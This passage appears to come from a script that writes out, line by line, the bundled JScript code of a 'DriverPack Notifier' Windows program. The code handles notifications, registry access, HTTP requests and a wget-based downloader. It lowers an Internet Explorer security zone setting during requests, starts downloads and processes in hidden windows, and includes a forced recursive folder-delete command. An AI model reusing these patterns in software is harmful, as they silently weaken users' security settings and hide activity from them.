file.WriteLine(" }, args);");
file.WriteLine(" _this.timestamp = Date.now();");
file.WriteLine(" _this.loadConfig(type);");
file.WriteLine(" _this.store = storeRoot + \"\\\\\" + type
+ \".json\";");
file.WriteLine(" _this.load();");
file.WriteLine(" return _this;");
file.WriteLine(" }");
file.WriteLine(" _inherits(Notification, _EventEmitter);");
file.WriteLine(" Notification.prototype.loadConfig = function(type) {");
file.WriteLine(" var data = __webpack_require__(176)(\"./\" + type);");
file.WriteLine(" if (\"function\" == typeof data) data =
data(this.args);");
file.WriteLine(" this.config = Object.assign({");
file.WriteLine(" windowTitle: _config.notification.title");
file.WriteLine(" }, data);");
file.WriteLine(" };");
file.WriteLine(" Notification.prototype.load = function() {");
file.WriteLine(" if (_system.fso.FileExists(this.store)) {");
file.WriteLine(" var file = _system.fso.OpenTextFile(this.store,
1, !1), json = file.ReadAll();");
file.WriteLine(" file.Close();");
file.WriteLine(" this.data = JSON.parse(json);");
file.WriteLine(" } else if (this.config.notificationId) {");
file.WriteLine(" var reg = \"HKCU\\\\SOFTWARE\\\\DriverPack
Notifier\\\\notifications\\\\\" + this.config.notificationId;");
file.WriteLine(" this.data = {");
file.WriteLine(" counter: +(0, _system.RegRead)(reg
+ \"\\\\counter\"),");
file.WriteLine(" unsubscribed: !!(0, _system.RegRead)(reg
+ \"\\\\unsubscribed\")");
file.WriteLine(" };");
file.WriteLine(" } else this.data = {};");
file.WriteLine(" };");
file.WriteLine(" Notification.prototype.save = function() {");
file.WriteLine(" var file = _system.fso.OpenTextFile(this.store, 2, !
0);");
file.WriteLine(" file.write(JSON.stringify(this.data));");
file.WriteLine(" file.Close();");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Notification.prototype.get = function(key, defaultValue)
{");
file.WriteLine(" return this.data[key] || defaultValue;");
file.WriteLine(" };");
file.WriteLine(" Notification.prototype.set = function(key, value) {");
file.WriteLine(" this.data[key] = value;");
file.WriteLine(" return this;");
file.WriteLine(" };");
file.WriteLine(" Notification.prototype.inc = function(key) {");
file.WriteLine(" return this.set(key, this.get(key, 0) + 1);");
file.WriteLine(" };");
file.WriteLine(" Notification.prototype.send = function(message) {");
file.WriteLine(" var queue = this.get(this.sendTo, []), timestamp =
Date.now();");
file.WriteLine(" queue.push({");
file.WriteLine(" message: message,");
file.WriteLine(" timestamp: timestamp");
file.WriteLine(" });");
file.WriteLine(" return this.set(this.sendTo, queue).save();");
file.WriteLine(" };");
file.WriteLine(" Notification.prototype.parseMessageQueue = function() {");
file.WriteLine(" var _this2 = this;");
file.WriteLine(" this.get(this.listenTo, []).forEach(function(_ref) {");
file.WriteLine(" var message = _ref.message, timestamp =
_ref.timestamp;");
file.WriteLine(" if (timestamp > _this2.timestamp) {");
file.WriteLine(" _this2.timestamp = timestamp;");
file.WriteLine(" _this2.emit(\"message\", message);");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" Notification.prototype.flushMessageQueue = function() {");
file.WriteLine(" return this.set(this.listenTo, []);");
file.WriteLine(" };");
file.WriteLine(" Notification.prototype.isActive = function() {");
file.WriteLine(" var counter = this.get(\"counter\", 0), unsubscribed =
this.get(\"unsubscribed\", !1);");
file.WriteLine(" return counter < (this.config.maxCountOfDisplaying ||
Infinity) && !unsubscribed;");
file.WriteLine(" };");
file.WriteLine(" Notification.prototype.show = function() {");
file.WriteLine(" var _this3 = this, queue =
Promise.resolve(window.NotificationQueue), promise = queue.then(function() {");
file.WriteLine(" return _this3.showImmediately();");
file.WriteLine(" });");
file.WriteLine(" window.NotificationQueue = promise[\"catch\"]
(function() {});");
file.WriteLine(" return promise;");
file.WriteLine(" };");
file.WriteLine(" Notification.prototype.showImmediately = function() {");
file.WriteLine(" function showImmediately() {");
file.WriteLine(" return _ref2.apply(this, arguments);");
file.WriteLine(" }");
file.WriteLine(" var _ref2 =
_asyncToGenerator(regeneratorRuntime.mark(function _callee() {");
file.WriteLine(" var cmdArgs, _this4 = this;");
file.WriteLine(" return regeneratorRuntime.wrap(function(_context)
{");
file.WriteLine(" for (;;) switch (_context.prev = _context.next)
{");
file.WriteLine(" case 0:");
file.WriteLine(" if (!this.isActive()) {");
file.WriteLine(" _context.next = 16;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine("
this.inc(\"counter\").set(\"status\", \"pending\").save();");
file.WriteLine(" cmdArgs =
Object.entries(this.args).map(function(_ref3) {");
file.WriteLine(" var key = _ref3[0], val = _ref3[1];");
file.WriteLine(" return \"--\" +
key.replace(/\\s/g, \"-\") + ' \"' + val + '\"';");
file.WriteLine(" }).join(\" \");");
file.WriteLine(" this.exec(cmdArgs);");
file.WriteLine(" if (!this.config.focusWindow)
this.on(\"message\", function(message) {");
file.WriteLine(" if (\"initialized\" === message) {");
file.WriteLine("
_ps2[\"default\"].send([ '$notificationHwnd =
[Win32.NativeMethods]::FindWindowEx(0, 0, \"HTML Application Host Window
Class\", \"' + _this4.config.windowTitle + '\")' ]);");
file.WriteLine(" if (_this4.config.background) {");
file.WriteLine("
_ps2[\"default\"].send([ \"[Win32.NativeMethods]::SetWindowPos($notificationHwnd,
1, 0, 0, 0, 0, 0x0013)\", \"[Win32.NativeMethods]::SetWindowLong($notificationHwnd,
-20, 0x00000080L)\" ]);");
file.WriteLine(" } else
_ps2[\"default\"].send([ \"[Win32.NativeMethods]::SetWindowPos($notificationHwnd,
-2, 0, 0, 0, 0, 0x0013)\", \"[Win32.NativeMethods]::SetWindowPos($notificationHwnd,
-1, 0, 0, 0, 0, 0x0013)\" ]);");
file.WriteLine(" }");
file.WriteLine(" });");
file.WriteLine("");
file.WriteLine(" case 5:");
file.WriteLine(" if (\"pending\" !== this.get(\"status\"))
{");
file.WriteLine(" _context.next = 12;");
file.WriteLine(" break;");
file.WriteLine(" }");
file.WriteLine(" _context.next = 8;");
file.WriteLine(" return (0, _utils.timeout)(300);");
file.WriteLine("");
file.WriteLine(" case 8:");
file.WriteLine(" this.load();");
file.WriteLine(" this.parseMessageQueue();");
file.WriteLine(" _context.next = 5;");
file.WriteLine(" break;");
file.WriteLine("");
file.WriteLine(" case 12:");
file.WriteLine(" this.flushMessageQueue().save();");
file.WriteLine(" return _context.abrupt(\"return\",
this.get(\"status\"));");
file.WriteLine("");
file.WriteLine(" case 16:");
file.WriteLine(" return
_context.abrupt(\"return\", \"skip\");");
file.WriteLine("");
file.WriteLine(" case 17:");
file.WriteLine(" case \"end\":");
file.WriteLine(" return _context.stop();");
file.WriteLine(" }");
file.WriteLine(" }, _callee, this);");
file.WriteLine(" }));");
file.WriteLine(" return showImmediately;");
file.WriteLine(" }();");
file.WriteLine(" Notification.prototype.exec = function(cmdArgs) {");
file.WriteLine(" var SystemRoot =
_system.WshShell.ExpandEnvironmentStrings(\"%SystemRoot%\"), command = SystemRoot +
'\\\\System32\\\\mshta.exe \"' + _utils.AppNotifier + '\" ' + cmdArgs;");
file.WriteLine(" if (_utils.isOldOS && \"scheduler\" === window.runFrom
|| this.config.focusWindow) _system.WshShell.Run(command, 1, !1); else {");
file.WriteLine(" var objStartup =
_wmi.objWMIService.Get(\"Win32_ProcessStartup\"), objConfig =
objStartup.SpawnInstance_();");
file.WriteLine(" objConfig.ShowWindow = 8;");
file.WriteLine("
_wmi.objWMIService.Get(\"Win32_Process\").Create(command, null, objConfig, void
0);");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" return Notification;");
file.WriteLine(" }(_events.EventEmitter);");
file.WriteLine(" exports[\"default\"] = Notification;");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _Statistics = __webpack_require__(135), _Statistics2 =
function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_Statistics), _config = __webpack_require__(6);");
file.WriteLine(" exports[\"default\"] = new _Statistics2[\"default\"]
(_config.analytics, _config.application.DisplayVersion, window.lang);");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.ensurePath = exports.isFileOverdue = exports.queryFile
= exports.deleteFile = exports.createFile = undefined;");
file.WriteLine(" var _fso = __webpack_require__(7), isFileOverdue =
(exports.createFile = function(path, fileName, fileContent) {");
file.WriteLine(" ensurePath(path);");
file.WriteLine(" var FSfile = _fso.fso.OpenTextFile(path + fileName, 2, !0,
-1);");
file.WriteLine(" FSfile.WriteLine(fileContent);");
file.WriteLine(" FSfile.Close();");
file.WriteLine(" }, exports.deleteFile = function(fullPath) {");
file.WriteLine(" if (!0 === _fso.fso.FileExists(fullPath))
_fso.fso.DeleteFile(fullPath);");
file.WriteLine(" }, exports.queryFile = function(fullPath, overdueInterval) {");
file.WriteLine(" if (_fso.fso.FileExists(fullPath) &&
_fso.fso.GetFile(fullPath).Size > 0) if (overdueInterval && isFileOverdue(fullPath,
overdueInterval)) throw new Error(\"File is overdue\"); else {");
file.WriteLine(" var file = _fso.fso.OpenTextFile(fullPath, 1, !0, -1),
data = file.ReadAll();");
file.WriteLine(" file.Close();");
file.WriteLine(" return data;");
file.WriteLine(" } else throw new Error(\"File is not found\");");
file.WriteLine(" }, exports.isFileOverdue = function(fullPath, overdueInterval)
{");
file.WriteLine(" if (!0 === _fso.fso.FileExists(fullPath)) {");
file.WriteLine(" if (new Date().getTime() -
_fso.fso.GetFile(fullPath).DateLastModified > overdueInterval) return !0; else
return !1;");
file.WriteLine(" } else return !0;");
file.WriteLine(" }), ensurePath = exports.ensurePath = function(path) {");
file.WriteLine(" for (var parts = path.split(\"\\\\\"), stack = [];
parts.length > 0; ) {");
file.WriteLine(" var current = parts.join(\"\\\\\");");
file.WriteLine(" if (parts.pop()) if (_fso.fso.FolderExists(current))
break; else stack.push(current);");
file.WriteLine(" }");
file.WriteLine(" for (;stack.length > 0; ) {");
file.WriteLine(" var _current = stack.pop();");
file.WriteLine(" if (!_fso.fso.FolderExists(_current))
_fso.fso.CreateFolder(_current);");
file.WriteLine(" }");
file.WriteLine(" return path;");
file.WriteLine(" };");
file.WriteLine("}, , , , , , , function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = function(collection, iterator) {");
file.WriteLine(" var colItems = new Enumerator(collection);");
file.WriteLine(" for (colItems.moveFirst(); !colItems.atEnd();
colItems.moveNext()) iterator(colItems.item());");
file.WriteLine(" };");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.RegDelete = exports.RegWrite = exports.RegRead =
exports.RegExists = exports.REG_CORS = undefined;");
file.WriteLine(" var _shell = __webpack_require__(13);");
file.WriteLine(" exports.REG_CORS
= \"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Inte
rnet Settings\\\\Zones\\\\1\\\\1406\", ");
file.WriteLine(" exports.RegExists = function(path) {");
file.WriteLine(" try {");
file.WriteLine(" _shell.WshShell.RegRead(path);");
file.WriteLine(" return !0;");
file.WriteLine(" } catch (err) {");
file.WriteLine(" return !1;");
file.WriteLine(" }");
file.WriteLine(" }, exports.RegRead = function(path) {");
file.WriteLine(" try {");
file.WriteLine(" return _shell.WshShell.RegRead(path);");
file.WriteLine(" } catch (err) {}");
file.WriteLine(" }, exports.RegWrite = function(path, value) {");
file.WriteLine(" var type = arguments.length > 2 && arguments[2] !==
undefined ? arguments[2] : \"REG_SZ\";");
file.WriteLine(" try {");
file.WriteLine(" return _shell.WshShell.RegWrite(path, value, type);");
file.WriteLine(" } catch (err) {}");
file.WriteLine(" }, exports.RegDelete = function(path) {");
file.WriteLine(" try {");
file.WriteLine(" return _shell.WshShell.RegDelete(path);");
file.WriteLine(" } catch (err) {}");
file.WriteLine(" };");
file.WriteLine("}, , , , , function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.httphead = exports.httpput = exports.httppost =
exports.httpget = exports.getXMLHttp = undefined;");
file.WriteLine(" var _registry = __webpack_require__(29), _client =
__webpack_require__(168), _client2 = function(obj) {");
file.WriteLine(" return obj && obj.__esModule ? obj : {");
file.WriteLine(" \"default\": obj");
file.WriteLine(" };");
file.WriteLine(" }(_client), httprequest = (exports.getXMLHttp =
_client2[\"default\"].getXHR, function(send) {");
file.WriteLine(" var originalCORS = Number((0, _registry.RegRead)
(_registry.REG_CORS));");
file.WriteLine(" (0, _registry.RegWrite)(_registry.REG_CORS,
0, \"REG_DWORD\");");
file.WriteLine(" var promise = new Promise(function(resolve, reject) {");
file.WriteLine(" send().then(resolve, function(err) {");
file.WriteLine(" err.type = \"HttpError\";");
file.WriteLine(" reject(err);");
file.WriteLine(" });");
file.WriteLine(" });");
file.WriteLine(" if (0 !== originalCORS) (0, _registry.RegWrite)
(_registry.REG_CORS, originalCORS, \"REG_DWORD\");");
file.WriteLine(" return promise;");
file.WriteLine(" });");
file.WriteLine(" exports.httpget = function(url) {");
file.WriteLine(" return httprequest(function() {");
file.WriteLine(" return
_client2[\"default\"].get(url).set(\"Connection\", \"close\");");
file.WriteLine(" });");
file.WriteLine(" }, exports.httppost = function(url, data) {");
file.WriteLine(" var _ref = arguments.length > 2 && arguments[2] !==
undefined ? arguments[2] : {}, headers = _ref.headers, statistics =
_ref.statistics;");
file.WriteLine(" return httprequest(function() {");
file.WriteLine(" var req =
_client2[\"default\"].post(url).set(\"Connection\", \"close\");");
file.WriteLine(" if (headers) req.set(headers);");
file.WriteLine(" if (statistics) {");
file.WriteLine(" var clientId = statistics.clientId, computerId =
statistics.computerId, sessionId = statistics.sessionId, options =
statistics.options, drpVersion = statistics.drpVersion, experiment =
statistics.experiment, lang = statistics.lang;");
file.WriteLine(" req.set({");
file.WriteLine(" \"x-drp-client-id\": clientId,");
file.WriteLine(" \"x-drp-computer-id\": computerId,");
file.WriteLine(" \"x-drp-session-id\": sessionId,");
file.WriteLine(" \"x-drp-application\": options.category,");
file.WriteLine(" \"x-drp-version\": drpVersion,");
file.WriteLine(" \"x-drp-experiment\": experiment,");
file.WriteLine(" \"x-drp-lang\": lang");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" return req.send(data);");
file.WriteLine(" });");
file.WriteLine(" }, exports.httpput = function(url, data) {");
file.WriteLine(" return httprequest(function() {");
file.WriteLine(" return
_client2[\"default\"].put(url).set(\"Connection\", \"close\").send(data);");
file.WriteLine(" });");
file.WriteLine(" }, exports.httphead = function(url) {");
file.WriteLine(" return httprequest(function() {");
file.WriteLine(" return
_client2[\"default\"].head(url).set(\"Connection\", \"close\");");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine("}, , , function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" function _classCallCheck(instance, Constructor) {");
file.WriteLine(" if (!(instance instanceof Constructor)) throw new
TypeError(\"Cannot call a class as a function\");");
file.WriteLine(" }");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" var _specialFolders = __webpack_require__(15), _shell =
__webpack_require__(13), _fso = __webpack_require__(7), _localFiles =
__webpack_require__(21), _http = __webpack_require__(34), _runCommandAsync =
__webpack_require__(179), _wmi = __webpack_require__(2), _logs =
__webpack_require__(17), _config = __webpack_require__(6), log = (0, ");
file.WriteLine(" _logs.getLogger)(\"core:wget\"), Wget = function() {");
file.WriteLine(" function Wget(wgetPaths) {");
file.WriteLine(" _classCallCheck(this, Wget);");
file.WriteLine(" this.timer = null;");
file.WriteLine(" this.onDownloaded = {};");
file.WriteLine(" this.onDownloadFailed = {};");
file.WriteLine(" this.concurrency = 5;");
file.WriteLine(" this.wgetPaths = wgetPaths;");
file.WriteLine(" this.wgetPath = wgetPaths.find(function(path) {");
file.WriteLine(" return _fso.fso.FileExists(path);");
file.WriteLine(" });");
file.WriteLine(" }");
file.WriteLine(" Wget.prototype.wrapInCmd = function(command) {");
file.WriteLine(" return 'cmd /c \"' + command + '\"';");
file.WriteLine(" };");
file.WriteLine(" Wget.prototype.wgetRun = function(link, path, jobId) {");
file.WriteLine(" var _this = this;");
file.WriteLine(" log.info(\"downloading \" + link, {");
file.WriteLine(" link: link,");
file.WriteLine(" jobId: jobId");
file.WriteLine(" }, \"run:start\");");
file.WriteLine(" if (!this.wgetPath) this.wgetPath =
this.wgetPaths.find(function(path) {");
file.WriteLine(" return _fso.fso.FileExists(path);");
file.WriteLine(" });");
file.WriteLine(" if (this.wgetPath) {");
file.WriteLine(" var parsedUrl = link.split(\"/\"), logFile =
this.pathToLogFile(jobId), triggerFile = this.pathToTriggerFile(jobId), wgetCommand
= '\"' + this.wgetPath + '\" --timeout 10 --retry-connrefused --wait=10
--timestamping --directory-prefix=\"' + path + '\" \"' + link + '\" -o \"' +
logFile + '\" --no-verbose & echo DONE > \"' + triggerFile + '\"', command =
this.wrapInCmd(wgetCommand);");
file.WriteLine(" log.debug(\"running command\", {");
file.WriteLine(" command: command");
file.WriteLine(" }, \"run:command\");");
file.WriteLine(" setTimeout(function() {");
file.WriteLine(" try {");
file.WriteLine(" _shell.WshShell.Run(command, 0, !1);");
file.WriteLine(" } catch (err) {");
file.WriteLine(" if (jobId in _this.onDownloaded) {");
file.WriteLine(" _this.onDownloadFailed[jobId](err);");
file.WriteLine(" _this.truncateJob(jobId);");
file.WriteLine(" }");
file.WriteLine(" }");
file.WriteLine(" }, 0);");
file.WriteLine(" return parsedUrl[parsedUrl.length - 1];");
file.WriteLine(" } else log.error(\"wget exe not found\",
{}, \"run:error\");");
file.WriteLine(" };");
file.WriteLine(" Wget.prototype.wgetWrapper = function(events, path, item,
i, items) {");
file.WriteLine(" var _this2 = this;");
file.WriteLine(" return new Promise(function(resolve, reject) {");
file.WriteLine(" var link = item.link, jobId = item.jobId ||
_this2.generateJobId();");
file.WriteLine(" log.debug(\"downloading \" + link + \" to folder \"
+ path, {");
file.WriteLine(" link: link,");
file.WriteLine(" path: path,");
file.WriteLine(" jobId: jobId");
file.WriteLine(" }, \"wrapper\");");
file.WriteLine(" events.beforeDownloading(item, i, items);");
file.WriteLine(" setTimeout(function() {");
file.WriteLine(" return _this2.wgetRun(link, path, jobId);");
file.WriteLine(" }, 0);");
file.WriteLine(" _this2.saveJob(jobId, resolve, reject, item);");
file.WriteLine(" }).then(function(val) {");
file.WriteLine(" events.afterDownloading(item, i, items);");
file.WriteLine(" return val;");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" Wget.prototype.generateJobId = function() {");
file.WriteLine(" return +Math.round(1e5 * Math.random());");
file.WriteLine(" };");
file.WriteLine(" Wget.prototype.saveJob = function(id, resolve, reject,
item) {");
file.WriteLine(" log.debug(\"saveJob\", {");
file.WriteLine(" jobId: id");
file.WriteLine(" }, \"saveJob\");");
file.WriteLine(" this.onDownloaded[id] = function() {");
file.WriteLine(" return resolve(item);");
file.WriteLine(" };");
file.WriteLine(" this.onDownloadFailed[id] = function(err) {");
file.WriteLine(" return reject(err);");
file.WriteLine(" };");
file.WriteLine(" this.start();");
file.WriteLine(" };");
file.WriteLine(" Wget.prototype.truncateJob = function(id) {");
file.WriteLine(" delete this.onDownloaded[id];");
file.WriteLine(" delete this.onDownloadFailed[id];");
file.WriteLine(" };");
file.WriteLine(" Wget.prototype.pathToLogFile = function(id) {");
file.WriteLine(" return (0, _localFiles.ensurePath)
(_specialFolders.AppFolder + \"\\\\temp\") + \"\\\\wget_log_\" + id + \".log\";");
file.WriteLine(" };");
file.WriteLine(" Wget.prototype.pathToTriggerFile = function(id) {");
file.WriteLine(" return (0, _localFiles.ensurePath)
(_specialFolders.AppFolder + \"\\\\temp\") + \"\\\\wget_finished_\" + id
+ \".txt\";");
file.WriteLine(" };");
file.WriteLine(" Wget.prototype.tick = function() {");
file.WriteLine(" var _this3 = this, keys =
Object.keys(this.onDownloaded);");
file.WriteLine(" if (keys.length > 0) keys.forEach(function(jobId) {");
file.WriteLine(" var triggerFile =
_this3.pathToTriggerFile(jobId);");
file.WriteLine(" if (_fso.fso.FileExists(triggerFile)) try {");
file.WriteLine(" var logFile = _this3.pathToLogFile(jobId),
textStream = _fso.fso.OpenTextFile(logFile, 1, !1);");
file.WriteLine(" if (!textStream.AtEndOfStream) {");
file.WriteLine(" var logText = textStream.ReadAll();");
file.WriteLine(" textStream.Close();");
file.WriteLine(" if (-1 !== logText.indexOf(\"failed:
Unknown host.\") || -1 !== logText.indexOf(\"unable to resolve host address\")
|| /error\\s+\\d+/i.test(logText)) {");
file.WriteLine(" log.error(\"failed job \" + jobId, {");
file.WriteLine(" jobId: jobId");
file.WriteLine(" }, \"tick:fail\");");
file.WriteLine(" _this3.onDownloadFailed[jobId](new
Error(\"[new order] wget failed job \" + jobId));");
file.WriteLine(" } else {");
file.WriteLine(" log.info(\"downloaded job \" + jobId,
{");
file.WriteLine(" jobId: jobId");
file.WriteLine(" }, \"tick:success\");");
file.WriteLine(" _this3.onDownloaded[jobId]();");
file.WriteLine(" }");
file.WriteLine(" log.debug(\"logText\", {");
file.WriteLine(" logText: logText");
file.WriteLine(" }, \"tick:logText\");");
file.WriteLine(" } else {");
file.WriteLine(" textStream.Close();");
file.WriteLine(" log.info(\"downloaded job \" + jobId, {");
file.WriteLine(" jobId: jobId");
file.WriteLine(" }, \"tick:success\");");
file.WriteLine(" _this3.onDownloaded[jobId]();");
file.WriteLine(" }");
file.WriteLine(" } catch (e) {");
file.WriteLine(" log.error(\"failed job \" + jobId, {");
file.WriteLine(" jobId: jobId");
file.WriteLine(" }, \"tick:fail\");");
file.WriteLine(" _this3.onDownloadFailed[jobId](new Error(\"[new
order] wget failed job \" + jobId));");
file.WriteLine(" } finally {");
file.WriteLine(" _this3.truncateJob(jobId);");
file.WriteLine(" }");
file.WriteLine(" }); else {");
file.WriteLine(" log.info(\"no downloads\", {}, \"tick:drain\");");
file.WriteLine(" this.stop();");
file.WriteLine(" }");
file.WriteLine(" };");
file.WriteLine(" Wget.prototype.stop = function() {");
file.WriteLine(" clearInterval(this.timer);");
file.WriteLine(" };");
file.WriteLine(" Wget.prototype.start = function() {");
file.WriteLine(" var _this4 = this;");
file.WriteLine(" this.stop();");
file.WriteLine(" this.timer = setInterval(function() {");
file.WriteLine(" return _this4.tick();");
file.WriteLine(" }, 2e3);");
file.WriteLine(" };");
file.WriteLine(" Wget.prototype.getDownloadFileSize = function(link) {");
file.WriteLine(" return (0, _http.httphead)(link).then(function(_ref)
{");
file.WriteLine(" return _ref.header[\"content-length\"];");
file.WriteLine(" });");
file.WriteLine(" };");
file.WriteLine(" Wget.prototype.stopDownloading = function(link,
downloadJobId) {");
file.WriteLine(" var _this5 = this;");
file.WriteLine(" delete this.onDownloaded[downloadJobId];");
file.WriteLine(" delete this.onDownloadFailed[downloadJobId];");
file.WriteLine(" var commandLineLike = \"%wget.exe%\" + link + \"%\",
processes = (0, _wmi.getWMIObjects)([ \"ProcessId\" ], \"Win32_Process\",
'CommandLine LIKE \"' + commandLineLike + '\"'), promises = [];");
file.WriteLine(" processes.forEach(function(_ref2) {");
file.WriteLine(" var ProcessId = _ref2.ProcessId, jobId =
_this5.generateJobId(), taskkillTriggerFile = (0, ");
file.WriteLine(" _localFiles.ensurePath)(_specialFolders.AppFolder +
\"\\\\temp\") + \"\\\\taskkill_\" + jobId + \".txt\";");
file.WriteLine(" promises.push((0, _runCommandAsync.runCommandAsync)
({");
file.WriteLine(" command: \"taskkill /f /t /pid \" +
ProcessId,");
file.WriteLine(" triggerFile: taskkillTriggerFile,");
file.WriteLine(" checkInterval: 200,");
file.WriteLine(" timeout: 1e4");
file.WriteLine(" }));");
file.WriteLine(" });");
file.WriteLine(" return Promise.all(promises);");
file.WriteLine(" };");
file.WriteLine(" Wget.prototype.downloadFiles = function(events, path,
items) {");
file.WriteLine(" var _this6 = this;");
file.WriteLine(" log.info(\"downloading \" + items.length + \" files\",
{");
file.WriteLine(" files: items.length");
file.WriteLine(" }, \"download\");");
file.WriteLine(" var iterator = function(item, i) {");
file.WriteLine(" return _this6.wgetWrapper(events, path, item, i,
items);");
file.WriteLine(" };");
file.WriteLine(" if (Promise.map) return Promise.map(items, iterator,
{");
file.WriteLine(" concurrency: this.concurrency");
file.WriteLine(" }); else return Promise.all(items.map(iterator));");
file.WriteLine(" };");
file.WriteLine(" return Wget;");
file.WriteLine(" }();");
file.WriteLine(" exports[\"default\"] = new Wget(_config.wget.paths);");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, , , , function(module, exports) {");
file.WriteLine(" function isObject(value) {");
file.WriteLine(" var type = typeof value;");
file.WriteLine(" return !!value && (\"object\" == type || \"function\" ==
type);");
file.WriteLine(" }");
file.WriteLine(" module.exports = isObject;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.isOldOS = undefined;");
file.WriteLine(" var _os = __webpack_require__(14);");
file.WriteLine(" exports.isOldOS = _os.OSVersion < 6;");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports[\"default\"] = new ActiveXObject(\"WScript.Shell\");");
file.WriteLine(" module.exports = exports[\"default\"];");
file.WriteLine("}, function(module, exports, __webpack_require__) {");
file.WriteLine(" \"use strict\";");
file.WriteLine(" exports.__esModule = !0;");
file.WriteLine(" exports.getInternetExplorerVersion = exports.goToUrl =
exports.winRun = exports.inc = exports.generateJobId = exports.wrapInCmd =
exports.cleanFolder = exports.ParseCMDString = exports.ParseSFXName = undefined;");
file.WriteLine(" var _fso = __webpack_require__(7), _shell =
__webpack_require__(13), _registry = __webpack_require__(29), _os =
__webpack_require__(14), _logs = __webpack_require__(17), log = (0, ");
file.WriteLine(" _logs.getLogger)(\"core:lib:utils\"), runOpenUrlCommand =
(exports.ParseSFXName = function(sfxName) {");
file.WriteLine(" sfxName = sfxName.replace(/(\\s*(\\(|\\[)\\d+
(\\)|\\]))?.exe$/i, \"\");");
file.WriteLine(" return sfxName.split(\"_\").slice(1);");
file.WriteLine(" }, exports.ParseCMDString = function() {");
file.WriteLine(" var cmd = arguments.length > 0 && arguments[0] !==
undefined ? arguments[0] : \"\", args = [], current = \"\", quoted = \"\",
quoteType = null, addcurrent = function() {");
file.WriteLine(" if (current) args.push(current.trim());");
file.WriteLine(" current = \"\";");
file.WriteLine(" };");
file.WriteLine(" cmd = cmd.replace(/\\\\\\n/g, \"\");");
file.WriteLine(" Array.from(cmd).forEach(function(c) {");
file.WriteLine(" if (quoteType) if (quoteType === c && \"\\\\\" !==
quoted.slice(-1)) {");
file.WriteLine(" args.push(quoted);");
file.WriteLine(" quoted = \"\";");
file.WriteLine(" quoteType = null;");
file.WriteLine(" } else quoted += c; else if (\" \" === c) addcurrent();
else if (current) current += c; else if (\"'\" === c || '\"' === c) quoteType = c;
else current = c;");
file.WriteLine(" });");
file.WriteLine(" addcurrent();");
file.WriteLine(" return args;");
file.WriteLine(" }, exports.cleanFolder = function(path) {");
file.WriteLine(" var sync = arguments.length > 1 && arguments[1] !==
undefined ? arguments[1] : !0, correctedPath = /\\\\$/.test(path) ? path : path
+ \"\\\\\";");
file.WriteLine(" _shell.WshShell.Run('cmd /C del /F /S /Q \"' +
correctedPath + '\" && FOR /D %p IN (\"' + correctedPath + '*\") DO rmdir \"%p\" /s
/q', 0, sync);");
file.WriteLine(" }, exports.wrapInCmd = function(command) {");
file.WriteLine(" return 'cmd /c \"' + command + '\"';");
file.WriteLine(" }, exports.generateJobId = function() {");
file.WriteLine(" return +Math.round(1e5 * Math.random());");
file.WriteLine(" }, exports.inc = function(filename) {");
file.WriteLine(" var head = document.getElementsByTagName(\"head\").item(0),
script = void 0;");
file.WriteLine(" if (\"css\" === _fso.fso.GetFileName(filename).split(\".\")
[1].toLowerCase()) {");
file.WriteLine(" script = document.createElement(\"link\");");
file.WriteLine(" script.setAttribute(\"rel\", \"stylesheet\");");
file.WriteLine(" script.setAttribute(\"type\", \"text/css\");");
file.WriteLine(" script.setAttribute(\"href\", filename);");
file.WriteLine(" } else {");
file.WriteLine(" script = document.createElement(\"script\");");
file.WriteLine(" script.src = filename;");
file.WriteLine(" script.type = \"text/javascript\";");
file.WriteLine(" }");
file.WriteLine(" if (void 0 !== script) head.appendChild(script);");
file.WriteLine(" }, exports.winRun = function(src, hideMode, wait, bit64) {");
file.WriteLine(" if (!src) return !1;");
file.WriteLine(" hideMode = !!hideMode;");
file.WriteLine(" wait = !!wait;");
file.WriteLine(" if (bit64 && _os.is64) {");
file.WriteLine(" hideMode = !0;");
file.WriteLine(" wait = !1;");
file.WriteLine(" src = '\"%windir%\\\\sysnative\\\\cmd.exe\" /C ' +
src;");
file.WriteLine(" }");
file.WriteLine(" return _shell.WshShell.Run(src, hideMode ? 0 : 1, wait);");
file.WriteLine(" }, function(url, command) {");
file.WriteLine(" command = command ? '\"' + command.replace(/\"/gi, \"\") +
'\"' : \"rundll32 url.dll,FileProtocolHandler\";");
file.WriteLine(" _shell.WshShell.Run(command + ' \"' + url + '\"', 1, !
1);");
file.WriteLine(" });");
file.WriteLine(" exports.goToUrl = function(url) {");
file.WriteLine(" log.info(\"opening \" + url, {");
file.WriteLine(" url: url");
